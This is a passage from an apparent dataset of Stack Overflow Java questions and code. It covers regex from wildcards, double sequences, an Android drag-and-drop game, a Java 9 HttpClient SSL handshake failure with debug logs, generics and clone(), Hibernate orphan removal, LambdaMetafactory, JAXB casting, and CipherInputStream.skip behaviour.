[ \\ ] { } ( ) , .^ $ +- ] ) '' , `` \\\\ $ 1 '' ) ; // replace ? that are n't preceded by a \ by .regex = regex.replaceAll ( `` ( ? < ! \\\\ ) [ ? ] '' , `` . `` ) ; // replace * that are n't preceded by a \ by . *regex = regex.replaceAll ( `` ( ? < ! \\\\ ) [ * ] '' , `` . * '' ) ;",From wildcards to regular expressions +Java,"I 'm actually very surprised I was unable to find the answer to this here , though maybe I 'm just using the wrong search terms or something . Closest I could find is this , but they ask about generating a specific range of doubles with a specific step size , and the answers treat it as such . I need something that will generate the numbers with arbitrary start , end and step size.I figure there has to be some method like this in a library somewhere already , but if so I was n't able to find it easily ( again , maybe I 'm just using the wrong search terms or something ) . So here 's what I 've cooked up on my own in the last few minutes to do this : These methods run a simple loop multiplying the step by the sequence index and adding to the start offset . This mitigates compounding floating-point errors which would occur with continuous incrementation ( such as adding the step to a variable on each iteration ) .I added the generateSequenceRounded method for those cases where a fractional step size can cause noticeable floating-point errors . It does require a bit more arithmetic , so in extremely performance sensitive situations such as ours , it 's nice to have the option of using the simpler method when the rounding is unnecessary . I suspect that in most general use cases the rounding overhead would be negligible.Note that I intentionally excluded logic for handling `` abnormal '' arguments such as Infinity , NaN , start > end , or a negative step size for simplicity and desire to focus on the question at hand.Here 's some example usage and corresponding output : Is there an existing library that provides this kind of functionality already ? If not , are there any issues with my approach ? Does anyone have a better approach to this ?","import java.lang.Math ; import java.util.List ; import java.util.ArrayList ; public class DoubleSequenceGenerator { /** * Generates a List of Double values beginning with ` start ` and ending with * the last step from ` start ` which includes the provided ` end ` value . **/ public static List < Double > generateSequence ( double start , double end , double step ) { Double numValues = ( end-start ) /step + 1.0 ; List < Double > sequence = new ArrayList < Double > ( numValues.intValue ( ) ) ; sequence.add ( start ) ; for ( int i=1 ; i < numValues ; i++ ) { sequence.add ( start + step*i ) ; } return sequence ; } /** * Generates a List of Double values beginning with ` start ` and ending with * the last step from ` start ` which includes the provided ` end ` value . * * Each number in the sequence is rounded to the precision of the ` step ` * value . For instance , if step=0.025 , values will round to the nearest * thousandth value ( 0.001 ) . **/ public static List < Double > generateSequenceRounded ( double start , double end , double step ) { if ( step ! = Math.floor ( step ) ) { Double numValues = ( end-start ) /step + 1.0 ; List < Double > sequence = new ArrayList < Double > ( numValues.intValue ( ) ) ; double fraction = step - Math.floor ( step ) ; double mult = 10 ; while ( mult*fraction < 1.0 ) { mult *= 10 ; } sequence.add ( start ) ; for ( int i=1 ; i < numValues ; i++ ) { sequence.add ( Math.round ( mult* ( start + step*i ) ) /mult ) ; } return sequence ; } return generateSequence ( start , end , step ) ; } } System.out.println ( DoubleSequenceGenerator.generateSequence ( 0.0 , 2.0 , 0.2 ) ) System.out.println ( DoubleSequenceGenerator.generateSequenceRounded ( 0.0 , 2.0 , 0.2 ) ) ; System.out.println ( DoubleSequenceGenerator.generateSequence ( 0.0 , 102.0 , 10.2 ) ) ; System.out.println ( DoubleSequenceGenerator.generateSequenceRounded ( 0.0 , 102.0 , 10.2 ) ) ; [ 0.0 , 0.2 , 0.4 , 0.6000000000000001 , 0.8 , 1.0 , 1.2000000000000002 , 1.4000000000000001 , 1.6 , 1.8 , 2.0 ] [ 0.0 , 0.2 , 0.4 , 0.6 , 0.8 , 1.0 , 1.2 , 1.4 , 1.6 , 1.8 , 2.0 ] [ 0.0 , 10.2 , 20.4 , 30.599999999999998 , 40.8 , 51.0 , 61.199999999999996 , 71.39999999999999 , 81.6 , 91.8 , 102.0 ] [ 0.0 , 10.2 , 20.4 , 30.6 , 40.8 , 51.0 , 61.2 , 71.4 , 81.6 , 91.8 , 102.0 ]","Best way to generate a List < Double > sequence of values given start , end , and step ?" +Java,"To understand it better read this : I 'm planning to build an app that does a simple check , I 'm calling an endpoint and I 'll get some params , and then I 'll know how many ImageView are going to be displayed in the screen.This is like a puzzle , and it would look like this : So I have different options , which contains only one correct answer , I 'm planing the way to achieve this , could be able to drag `` Bow '' to the questionmark infront of `` skateboarding '' and then says that is not correct , then drag it to the `` archery '' one and replace the questionmark for the ImageView from the bottom that contains the word `` Arrow '' .Layout should contain one column for Question ( this should be the sports ) then another one in front of the Question one and should be the Answer one , then below them should contain the Options one.Was it clear ? Otherwise let me know and I 'll try to explain it a little bit with more details.EDITWhat I thought is having like a class that contains a list of Answers or just create like : RightList : ( id:1 , id:2 , id:3 ) LeftList : ( id:1 , id:2 , id:3 ) DownList : ( Bow = id:2 ) , ( Skate = id:1 ) , ( Ball = id:3 ) Then doing the drag and drop thing when the DragEvent.ACTION_DROP or DragEvent.ACTION_DRAG_ENDEDI do not know which one , check ( Pseudocode below ) I do not know if creating a class that implements onDragListener ( ) or something like that , I 'd like to have it generic so I can use it on different games like for instance : SKATE ( id:1 ) ARCHERY ( id:2 ) FOOTBALL ( id:3 ) Answers : TABLE ( C.A . id:1 ) BOW ( C.A . id:2 ) GRASS ( C.A . id:3 ) GOAL ( C.A . id:3 ) BALL ( C.A . id:3 ) ARROW ( C.A . id:2 ) AXES ( C.A . id:1 ) WHEELS ( C.A . id:1 ) So if I drag and drop for instance BOW to FOOTBALL then it should display that is bad , otherwise say that it 's good .","First game : Skate QuestionMarkArchery QuestionMarkSwim QuestionMark -- -- -- -- -- -- -- -- -- -- -- -- -- -Water Bow WheelIf user drags Water to Skate or Archery QuestionMark it will animate to the list ( because it is not correct ) If user drags twice incorrect ( it will mark the one that is correct from the answer list ) If user still fail in the third try it will drag to the incorrect one and then it will highlight or just change the color does n't matter to red.If user drags to the correct one it will highlight green and replace QuestionMark with the correct one ( I do not want to be draggable anymore that image ) -- -- -- Game 2 ( is more or less the same ... ) There 's no QuestionMark column , there 's only : SkateSwimArchery -- -- -- -- -- -- -- ( Lot of answers ) Now the way to play is the same ( about the fails and etc ) the thing is now when I drag any answer to the correct one it wo n't replace the correct one , it will just disappear and if it fails instead of highlighting all the corrects one it will highlight the correct answer ( for instance ; if I drag wheel to Swim once , it does n't happen anything just animate to the place where it was , if I do it twice it will highlight the Skate one , and if it fails at third one it just drag wherever he did and highlight with red ) if ( imageDragged.id==location.id ) then replace the question mark image for imageDraggedelse animate the image to the place where it comes",Drag and drop ImageView into a container for verification +Java,"I am trying to test new HttpClient from Java 9 . For test purpose I am using api provided by https : //jsonplaceholder.typicode.com . However , I am receiving an handshake exception and do not know the reason . The code I am running : I am receiving an exception : I enabled detailed debug message with parameter -Djavax.net.debug=all and the logs I received are :","private final String TEST_URI = `` https : //jsonplaceholder.typicode.com/posts '' ; @ Test public void shouldReturnStatusOKWhenSendGetRequest ( ) throws IOException , InterruptedException , URISyntaxException { HttpRequest request = HttpRequest.newBuilder ( ) .uri ( new URI ( TEST_URI ) ) .GET ( ) .build ( ) ; HttpResponse < String > response = HttpClient.newHttpClient ( ) .send ( request , HttpResponse.BodyHandler.asString ( ) ) ; assertThat ( response.statusCode ( ) , equalTo ( HttpURLConnection.HTTP_OK ) ) ; } javax.net.ssl.SSLHandshakeException : Received fatal alert : handshake_failureat java.base/sun.security.ssl.Alerts.getSSLException ( Alerts.java:198 ) at java.base/sun.security.ssl.Alerts.getSSLException ( Alerts.java:159 ) at java.base/sun.security.ssl.SSLEngineImpl.recvAlert ( SSLEngineImpl.java:1905 ) at java.base/sun.security.ssl.SSLEngineImpl.processInputRecord ( SSLEngineImpl.java:1140 ) at java.base/sun.security.ssl.SSLEngineImpl.readRecord ( SSLEngineImpl.java:1020 ) at java.base/sun.security.ssl.SSLEngineImpl.readNetRecord ( SSLEngineImpl.java:902 ) at java.base/sun.security.ssl.SSLEngineImpl.unwrap ( SSLEngineImpl.java:680 ) at java.base/javax.net.ssl.SSLEngine.unwrap ( SSLEngine.java:626 ) at jdk.incubator.httpclient/jdk.incubator.http.AsyncSSLDelegate.unwrapBuffer ( AsyncSSLDelegate.java:476 ) at jdk.incubator.httpclient/jdk.incubator.http.AsyncSSLDelegate.handshakeReceiveAndUnWrap ( AsyncSSLDelegate.java:395 ) at jdk.incubator.httpclient/jdk.incubator.http.AsyncSSLDelegate.doHandshakeImpl ( AsyncSSLDelegate.java:294 ) at jdk.incubator.httpclient/jdk.incubator.http.AsyncSSLDelegate.doHandshakeNow ( AsyncSSLDelegate.java:262 ) at jdk.incubator.httpclient/jdk.incubator.http.AsyncSSLDelegate.connect ( AsyncSSLDelegate.java:233 ) at jdk.incubator.httpclient/jdk.incubator.http.AsyncSSLConnection.connect ( AsyncSSLConnection.java:78 ) at jdk.incubator.httpclient/jdk.incubator.http.Http2Connection. < init > ( Http2Connection.java:272 ) at jdk.incubator.httpclient/jdk.incubator.http.Http2ClientImpl.getConnectionFor ( Http2ClientImpl.java:108 ) at jdk.incubator.httpclient/jdk.incubator.http.ExchangeImpl.get ( ExchangeImpl.java:86 ) at jdk.incubator.httpclient/jdk.incubator.http.Exchange.establishExchange ( Exchange.java:257 ) at jdk.incubator.httpclient/jdk.incubator.http.Exchange.responseImpl0 ( Exchange.java:268 ) at jdk.incubator.httpclient/jdk.incubator.http.Exchange.responseImpl ( Exchange.java:245 ) at jdk.incubator.httpclient/jdk.incubator.http.Exchange.response ( Exchange.java:121 ) at jdk.incubator.httpclient/jdk.incubator.http.MultiExchange.response ( MultiExchange.java:154 ) at jdk.incubator.httpclient/jdk.incubator.http.HttpClientImpl.send ( HttpClientImpl.java:234 ) at com.us.HttpRequestTest.shouldReturnStatusOKWhenSendGetRequest ( HttpRequestTest.java:35 ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.base/java.lang.reflect.Method.invoke ( Method.java:564 ) at org.junit.runners.model.FrameworkMethod $ 1.runReflectiveCall ( FrameworkMethod.java:50 ) at org.junit.internal.runners.model.ReflectiveCallable.run ( ReflectiveCallable.java:12 ) at org.junit.runners.model.FrameworkMethod.invokeExplosively ( FrameworkMethod.java:47 ) at org.junit.internal.runners.statements.InvokeMethod.evaluate ( InvokeMethod.java:17 ) at org.junit.runners.ParentRunner.runLeaf ( ParentRunner.java:325 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:78 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:57 ) at org.junit.runners.ParentRunner $ 3.run ( ParentRunner.java:290 ) at org.junit.runners.ParentRunner $ 1.schedule ( ParentRunner.java:71 ) at org.junit.runners.ParentRunner.runChildren ( ParentRunner.java:288 ) at org.junit.runners.ParentRunner.access $ 000 ( ParentRunner.java:58 ) at org.junit.runners.ParentRunner $ 2.evaluate ( ParentRunner.java:268 ) at org.junit.runners.ParentRunner.run ( ParentRunner.java:363 ) at org.junit.runner.JUnitCore.run ( JUnitCore.java:137 ) at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs ( JUnit4IdeaTestRunner.java:68 ) at com.intellij.rt.execution.junit.IdeaTestRunner $ Repeater.startRunnerWithArgs ( IdeaTestRunner.java:47 ) at com.intellij.rt.execution.junit.JUnitStarter.prepareStreamsAndStart ( JUnitStarter.java:242 ) at com.intellij.rt.execution.junit.JUnitStarter.main ( JUnitStarter.java:70 ) Using SSLEngineImpl.Allow unsafe renegotiation : falseAllow legacy hello messages : trueIs initial handshake : trueIs secure renegotiation : falseIgnoring obsoleted cipher suite : SSL_RSA_WITH_DES_CBC_SHAIgnoring obsoleted cipher suite : SSL_DHE_RSA_WITH_DES_CBC_SHAIgnoring obsoleted cipher suite : SSL_DHE_DSS_WITH_DES_CBC_SHAIgnoring obsoleted cipher suite : SSL_DH_anon_WITH_DES_CBC_SHAIgnoring obsoleted cipher suite : SSL_RSA_EXPORT_WITH_DES40_CBC_SHAIgnoring obsoleted cipher suite : SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHAIgnoring obsoleted cipher suite : SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHAIgnoring obsoleted cipher suite : SSL_DH_anon_EXPORT_WITH_DES40_CBC_SHAIgnoring obsoleted cipher suite : TLS_KRB5_WITH_DES_CBC_SHAIgnoring obsoleted cipher suite : TLS_KRB5_WITH_DES_CBC_MD5Ignoring obsoleted cipher suite : TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHAIgnoring obsoleted cipher suite : TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5 % % No cached client sessionupdate handshake state : client_hello [ 1 ] upcoming handshake states : server_hello [ 2 ] *** ClientHello , TLSv1.2RandomCookie : random_bytes = { 9C CA 88 05 6E 9C 04 57 09 CB 84 92 A4 1D 83 2A 1F E7 34 A7 AB E2 E4 9C 7F 5B 0F 95 04 B0 A7 C5 } Session ID : { } Cipher Suites : [ TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 , TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 , TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 , TLS_RSA_WITH_AES_256_GCM_SHA384 , TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 , TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 , TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 , TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 , TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 , TLS_RSA_WITH_AES_128_GCM_SHA256 , TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 , TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 , TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 , TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 , TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 , TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 , TLS_RSA_WITH_AES_256_CBC_SHA256 , TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 , TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 , TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 , TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 , TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA , TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA , TLS_RSA_WITH_AES_256_CBC_SHA , TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA , TLS_ECDH_RSA_WITH_AES_256_CBC_SHA , TLS_DHE_RSA_WITH_AES_256_CBC_SHA , TLS_DHE_DSS_WITH_AES_256_CBC_SHA , TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 , TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 , TLS_RSA_WITH_AES_128_CBC_SHA256 , TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 , TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 , TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 , TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 , TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA , TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA , TLS_RSA_WITH_AES_128_CBC_SHA , TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA , TLS_ECDH_RSA_WITH_AES_128_CBC_SHA , TLS_DHE_RSA_WITH_AES_128_CBC_SHA , TLS_DHE_DSS_WITH_AES_128_CBC_SHA , TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA , TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA , SSL_RSA_WITH_3DES_EDE_CBC_SHA , TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA , TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA , SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA , SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA , TLS_EMPTY_RENEGOTIATION_INFO_SCSV , TLS_DH_anon_WITH_AES_256_GCM_SHA384 , TLS_DH_anon_WITH_AES_128_GCM_SHA256 , TLS_DH_anon_WITH_AES_256_CBC_SHA256 , TLS_ECDH_anon_WITH_AES_256_CBC_SHA , TLS_DH_anon_WITH_AES_256_CBC_SHA , TLS_DH_anon_WITH_AES_128_CBC_SHA256 , TLS_ECDH_anon_WITH_AES_128_CBC_SHA , TLS_DH_anon_WITH_AES_128_CBC_SHA , TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA , SSL_DH_anon_WITH_3DES_EDE_CBC_SHA , TLS_RSA_WITH_NULL_SHA256 , TLS_ECDHE_ECDSA_WITH_NULL_SHA , TLS_ECDHE_RSA_WITH_NULL_SHA , SSL_RSA_WITH_NULL_SHA , TLS_ECDH_ECDSA_WITH_NULL_SHA , TLS_ECDH_RSA_WITH_NULL_SHA , TLS_ECDH_anon_WITH_NULL_SHA , SSL_RSA_WITH_NULL_MD5 , TLS_KRB5_WITH_3DES_EDE_CBC_SHA , TLS_KRB5_WITH_3DES_EDE_CBC_MD5 ] Compression Methods : { 0 } Extension elliptic_curves , curve names : { secp256r1 , secp384r1 , secp521r1 , sect283k1 , sect283r1 , sect409k1 , sect409r1 , sect571k1 , sect571r1 , secp256k1 } Extension ec_point_formats , formats : [ uncompressed ] Extension signature_algorithms , signature_algorithms : SHA512withECDSA , SHA512withRSA , SHA384withECDSA , SHA384withRSA , SHA256withECDSA , SHA256withRSA , SHA256withDSA , SHA224withECDSA , SHA224withRSA , SHA224withDSA , SHA1withECDSA , SHA1withRSA , SHA1withDSAExtension status_request_v2CertStatusReqItemV2 : ocsp_multi , OCSPStatusRequest ResponderIds : < EMPTY > Extensions : < EMPTY > CertStatusReqItemV2 : ocsp , OCSPStatusRequest ResponderIds : < EMPTY > Extensions : < EMPTY > Extension status_request : ocsp , OCSPStatusRequest ResponderIds : < EMPTY > Extensions : < EMPTY > Extension application_layer_protocol_negotiation , protocol names : [ h2 ] [ http/1.1 ] main , WRITE : TLSv1.2 Handshake , length = 296 [ Raw write ] : length = 3010000 : 16 03 03 01 28 01 00 01 24 03 03 9C CA 88 05 6E ... . ( ... $ ... ... n0010 : 9C 04 57 09 CB 84 92 A4 1D 83 2A 1F E7 34 A7 AB ..W ... ... .*..4..0020 : E2 E4 9C 7F 5B 0F 95 04 B0 A7 C5 00 00 8C C0 2C ... . [ ... ... ... .,0030 : C0 2B C0 30 00 9D C0 2E C0 32 00 9F 00 A3 C0 2F .+.0 ... ..2 ... ../0040 : 00 9C C0 2D C0 31 00 9E 00 A2 C0 24 C0 28 00 3D ... -.1 ... .. $ . ( .=0050 : C0 26 C0 2A 00 6B 00 6A C0 0A C0 14 00 35 C0 05 . & . *.k.j ... ..5..0060 : C0 0F 00 39 00 38 C0 23 C0 27 00 3C C0 25 C0 29 ... 9.8. # .'. < . % . ) 0070 : 00 67 00 40 C0 09 C0 13 00 2F C0 04 C0 0E 00 33 .g . @ ... ../ ... ..30080 : 00 32 C0 08 C0 12 00 0A C0 03 C0 0D 00 16 00 13 .2 ... ... ... ... ..0090 : 00 FF 00 A7 00 A6 00 6D C0 19 00 3A 00 6C C0 18 ... ... .m ... : .l..00A0 : 00 34 C0 17 00 1B 00 3B C0 06 C0 10 00 02 C0 01 .4 ... .. ; ... ... ..00B0 : C0 0B C0 15 00 01 00 1F 00 23 01 00 00 6F 00 0A ... ... ... # ... o..00C0 : 00 16 00 14 00 17 00 18 00 19 00 09 00 0A 00 0B ... ... ... ... ... .00D0 : 00 0C 00 0D 00 0E 00 16 00 0B 00 02 01 00 00 0D ... ... ... ... ... .00E0 : 00 1C 00 1A 06 03 06 01 05 03 05 01 04 03 04 01 ... ... ... ... ... .00F0 : 04 02 03 03 03 01 03 02 02 03 02 01 02 02 00 11 ... ... ... ... ... .0100 : 00 10 00 0E 02 00 04 00 00 00 00 01 00 04 00 00 ... ... ... ... ... .0110 : 00 00 00 05 00 05 01 00 00 00 00 00 10 00 0E 00 ... ... ... ... ... .0120 : 0C 02 68 32 08 68 74 74 70 2F 31 2E 31 ..h2.http/1.1 [ Raw read ] : length = 70000 : 15 03 01 00 02 02 28 ... ... ( main , READ : TLSv1 Alert , length = 2main , RECV TLSv1.2 ALERT : fatal , handshake_failuremain , fatal error : 40 : General SSLEngine problemjavax.net.ssl.SSLHandshakeException : Received fatal alert : handshake_failuremain , fatal : engine already closed . Rethrowing javax.net.ssl.SSLHandshakeException : Received fatal alert : handshake_failure",Java9 HttpClient SSLHandshakeException +Java,"Let 's have this class structure : I have this compilation error ( although the IDE , Intellij in my case , is unable to show the error while coding ) I know that the compiler is trying to call clone ( ) method from Object instead of TypeCloneable , but I do n't understand why . I also tried it casting to TypeCloneable ( I suposed the compiler would know which clone ( ) method call in this case , but the same problem ) .I 'm a bit confused ... Can I do something here to force callling clone ( ) from TypeCloneable ? Thanks for the hellp","public interface TypeIdentifiable { } public interface TypeCloneable extends Cloneable { public Object clone ( ) throws CloneNotSupportedException ; } public class Foo implements TypeCloneable , TypeIdentifiable { @ Override public Object clone ( ) throws CloneNotSupportedException { // ... return null ; } } public abstract class AbstractClass < T extends TypeCloneable & TypeIdentifiable > { public void foo ( T element ) throws Exception { TypeCloneable cloned = ( TypeCloneable ) element.clone ( ) ; System.out.println ( cloned ) ; } } Error : ( 4 , 37 ) java : clone ( ) in java.lang.Object can not implement clone ( ) in foo.TypeCloneable attempting to assign weaker access privileges ; was public public void foo ( T element ) throws Exception { TypeCloneable typeCloneable = ( TypeCloneable ) element ; TypeCloneable cloned = ( TypeCloneable ) typeCloneable.clone ( ) ; }",Generics issue : clone ( ) attempting to assign weaker access privileges +Java,"I have 4 entities : Profile which has a relation with companyContract : CompanyContract which has a relation with timesheet : Timesheet which has a relation with invoice : Invoice : So As you can see here , I 'm using org.hibernate.annotations.CascadeType.DELETE_ORPHAN so I can delete the children of a parent.If I execute this : -- - > The order of removal should be : Remove invoices -- > Timesheets -- > CompanyContract , No ? And instead I 'm getting this error : org.hibernate.exception.ConstraintViolationException : Column 'IDCONTRACT ' can not be nullAnd I 've checked , this error happens after profileService.updateProfile ( p ) ;","@ OneToMany ( fetch = FetchType.EAGER , mappedBy = `` profile '' , cascade = { CascadeType.ALL } ) @ Fetch ( value = FetchMode.SUBSELECT ) @ Cascade ( { org.hibernate.annotations.CascadeType.SAVE_UPDATE , org.hibernate.annotations.CascadeType.DELETE_ORPHAN } ) private List < CompanyContract > companyContracts ; @ OneToMany ( mappedBy = `` companyContract '' , cascade = { CascadeType.ALL } , orphanRemoval = true , fetch = FetchType.EAGER ) @ Fetch ( FetchMode.SUBSELECT ) @ Cascade ( { org.hibernate.annotations.CascadeType.SAVE_UPDATE , org.hibernate.annotations.CascadeType.DELETE_ORPHAN } ) private List < Timesheet > timesheets ; @ ManyToOne @ JoinColumn ( name = `` IDPROFILE '' ) private Profile profile ; @ OneToMany ( mappedBy = `` timesheet '' , cascade = CascadeType.ALL , fetch = FetchType.EAGER ) @ Fetch ( value = FetchMode.SUBSELECT ) @ Cascade ( { org.hibernate.annotations.CascadeType.SAVE_UPDATE , org.hibernate.annotations.CascadeType.DELETE_ORPHAN } ) private List < Invoice > invoices ; @ ManyToOne @ JoinColumn ( name = `` IDCONTRACT '' ) private CompanyContract companyContract ; @ ManyToOne ( fetch = FetchType.LAZY ) @ JoinColumn ( name = `` ID_TIMESHEET '' ) private Timesheet timesheet ; Profile p = companyContract.getProfile ( ) ; p.getCompanyContracts ( ) .remove ( companyContract ) ; companyContract.setProfile ( null ) ; profileService.update ( p ) ;",Remove Order in hibernate +Java,"I am trying to use Java 's LambdaMetaFactory to dynamically implement a generic lambda , Handler < RoutingContext > : Here is my attempt at LambdaMetaFactory : This gives the error : I have tried a range of other options for functionMethodType and implementationMethodHandle , but have not managed to get this working yet . Also , even if I replace the RoutingContext.class reference with Object.class , this does not fix the error.The only way I can get the lambda.handle ( ctx ) call to succeed is by changing HomeHandler so that it does not extend Handler , making HomeHandler : :handle static , and changing RoutingContext.class to Object.class . Oddly I can still cast the resulting lambda to Handler < RoutingContext > , even though it no longer extends Handler.My questions : How do I get LambdaMetaFactory to work with non-static methods ? For this non-static SAM class HomeHandler , how does this work with instance allocation under the hood ? Does LambdaMetaFactory create a single instance of the interface implementation , no matter how many method calls , since in this example there are no captured variables ? Or does it create a new instance for each method call ? Or was I supposed to create a single instance and pass it in to the API somehow ? How do I get LambdaMetaFactory to work with generic methods ? Edit : in addition to the great answers below , I came across this blog post explaining the mechanisms involved : https : //medium.freecodecamp.org/a-faster-alternative-to-java-reflection-db6b1e48c33e","public class RoutingContext { // ... } @ FunctionalInterfacepublic interface Handler < X > { public void handle ( X arg ) ; } public class HomeHandler extends Handler < RoutingContext > { @ Override public void handle ( RoutingContext ctx ) { // ... } } try { Class < ? > homeHandlerClass = HomeHandler.class ; Method method = homeHandlerClass.getDeclaredMethod ( `` handle '' , RoutingContext.class ) ; Lookup lookup = MethodHandles.lookup ( ) ; MethodHandle mh = lookup.unreflect ( method ) ; MethodType factoryMethodType = MethodType.methodType ( Handler.class ) ; MethodType functionMethodType = mh.type ( ) ; MethodHandle implementationMethodHandle = mh ; Handler < RoutingContext > lambda = ( Handler < RoutingContext > ) LambdaMetafactory.metafactory ( lookup , `` handle '' , factoryMethodType , functionMethodType , implementationMethodHandle , implementationMethodHandle.type ( ) ) .getTarget ( ) .invokeExact ( ) ; lambda.handle ( ctx ) ; } catch ( Throwable e ) { e.printStackTrace ( ) ; } java.lang.AbstractMethodError : Receiver class [ ... ] $ $ Lambda $ 82/0x00000008001fa840does not define or inherit an implementation of the resolved method abstracthandle ( Ljava/lang/Object ; ) V of interface io.vertx.core.Handler .",LambdaMetaFactory with concrete implementation of generic type +Java,"I have a long story.java generics bounds typegenerics type declaration for reflectionAnyway , I have a method which invokes a method using reflection and returns a generic result.The problem ( ? ) is when I got the result of method invocation . I have to cast it.I found I can cast the result into JAXBElement < V > like this.Is there other way to do this ? I mean I got the Class < V > valueType to use.If not , is following statement a little bit cumbersome ? Thanks .","public static < V > JAXBElement < V > unmarshal ( ... , Class < V > valueType ) ; final Object result = method.invoke ( ... ) ; @ SuppressWarnings ( `` unchecked '' ) final JAXBElement < V > result = ( JAXBElement < V > ) method.invoke ( ... ) ; return result ; // no warning , huh ? : ) final JAXBElement < ? > result = ( JAXBElement < ? > ) method.invoke ( ... ) ; return new JAXBElement < V > ( result.getName ( ) , valueType , result.getScope ( ) , valueType.cast ( result.getValue ( ) ) ) ;",Casting generic types without warning ? +Java,"I am running into an issue where the code that works against a InputStream backed by a FileInputStream does not work if a CipherInputStream is used.Example is below : Get a different behavior if a CipherInputStream is usedAfter further debugging it looks like , skip will only work ( i.e. , return values > 0 ) if used in conjunction with the read ( ) call . Is there a better way of getting skip to work with CipherInputStream , than rolling my own `` skip '' method that relies on calling read ? Also , is there a way of telling the CipherInputStream to automatically do a `` read '' as part of invoking the skip call ? Otherwise it looks like the skip API is flaky in CipherInputStream.MCVE","// skipCount is same as n in a FileInputStream FileInputStream fis ; ... skipCount = fis.skip ( n ) // skipCount is always 0 CipherInputStream cis ; ... skipCount = cis.skip ( n ) public class TestSkip { public static final String ALGO = `` AES/CBC/PKCS5Padding '' ; public static final String CONTENT = `` Strive not to be a success , but rather to be of value '' ; private static int BlockSizeBytes = 16 ; private static SecureRandom random = null ; static { try { random = SecureRandom.getInstance ( `` SHA1PRNG '' ) ; } catch ( NoSuchAlgorithmException e ) { throw new RuntimeException ( `` Could not initialize AES encryption '' , e ) ; } } static byte [ ] getKeyBytes ( ) throws NoSuchAlgorithmException , UnsupportedEncodingException { byte [ ] key = `` Not a secure string ! `` .getBytes ( `` UTF-8 '' ) ; MessageDigest sha = MessageDigest.getInstance ( `` SHA-1 '' ) ; key = sha.digest ( key ) ; key = Arrays.copyOf ( key , 16 ) ; // use only first 128 bit return key ; } static KeySpec getKeySpec ( ) throws GeneralSecurityException , UnsupportedEncodingException { return new SecretKeySpec ( getKeyBytes ( ) , `` AES '' ) ; } static byte [ ] getIv ( ) { byte [ ] iv = new byte [ BlockSizeBytes ] ; random.nextBytes ( iv ) ; return iv ; } static Cipher initCipher ( int mode , byte [ ] iv ) throws GeneralSecurityException , UnsupportedEncodingException { KeySpec spec = getKeySpec ( ) ; Cipher cipher = Cipher.getInstance ( ALGO ) ; cipher.init ( mode , ( SecretKey ) spec , new IvParameterSpec ( iv ) ) ; return cipher ; } static void encrypt ( String fileName ) throws GeneralSecurityException , IOException { FileOutputStream fos = new FileOutputStream ( fileName ) ; byte [ ] iv = getIv ( ) ; fos.write ( iv ) ; Cipher cipher = initCipher ( Cipher.ENCRYPT_MODE , iv ) ; CipherOutputStream cos = new CipherOutputStream ( fos , cipher ) ; PrintWriter pw = new PrintWriter ( cos ) ; pw.println ( CONTENT ) ; pw.close ( ) ; } static void skipAndCheck ( String fileName ) throws GeneralSecurityException , IOException { FileInputStream fis = new FileInputStream ( fileName ) ; byte [ ] iv = new byte [ BlockSizeBytes ] ; if ( fis.read ( iv ) ! = BlockSizeBytes ) { throw new GeneralSecurityException ( `` Could not retrieve IV from AES encrypted stream '' ) ; } Cipher cipher = initCipher ( Cipher.DECRYPT_MODE , iv ) ; CipherInputStream cis = new CipherInputStream ( fis , cipher ) ; // This does not skip long count = cis.skip ( 32 ) ; System.out.println ( `` Bytes skipped : `` + count ) ; // Read a line InputStreamReader is = new InputStreamReader ( cis ) ; BufferedReader br = new BufferedReader ( is ) ; String read = br.readLine ( ) ; System.out.println ( `` Content after skipping 32 bytes is : `` + read ) ; br.close ( ) ; } static InputStream getWrapper ( CipherInputStream cis ) { return new SkipInputStream ( cis ) ; } public static void main ( String [ ] args ) throws IOException , GeneralSecurityException { String fileName = `` 